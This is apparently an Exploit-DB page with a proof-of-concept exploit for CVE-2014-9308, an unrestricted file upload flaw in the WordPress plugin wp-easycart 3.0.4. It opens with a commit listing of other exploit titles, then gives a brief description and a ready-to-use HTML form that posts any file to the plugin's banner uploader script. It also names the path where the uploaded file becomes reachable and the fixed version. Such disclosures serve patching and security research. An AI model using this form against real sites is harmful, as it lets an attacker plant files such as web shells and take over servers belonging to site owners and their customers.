bef325a736
9 changes to exploits/shellcodes GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation Microsoft Credential Security Support Provider - Remote Code Execution WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) MikroTik 6.41.4 - FTP daemon Denial of Service PoC Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
38 lines
No EOL
1.2 KiB
HTML
38 lines
No EOL
1.2 KiB
HTML
<!--
|
|
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
|
|
# Date: 29-10-2014
|
|
# Software Link: https://wordpress.org/plugins/wp-easycart/
|
|
# Exploit Author: Kacper Szurek
|
|
# Contact: http://twitter.com/KacperSzurek
|
|
# Website: http://security.szurek.pl/
|
|
# CVE: CVE-2014-9308
|
|
# Category: webapps
|
|
|
|
1. Description
|
|
|
|
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php
|
|
|
|
http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
|
|
|
|
|
|
2. Proof of Concept
|
|
|
|
Login as regular user (created using wp-login.php?action=register):
|
|
-->
|
|
|
|
<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
|
|
<input type="hidden" name="datemd5" value="1">
|
|
<input type="file" name="Filedata">
|
|
<input value="Upload!" type="submit">
|
|
</form>
|
|
|
|
<!--
|
|
File will be visible:
|
|
|
|
http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
|
|
|
|
3. Solution:
|
|
|
|
Update to version 3.0.9
|
|
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip
|
|
--> |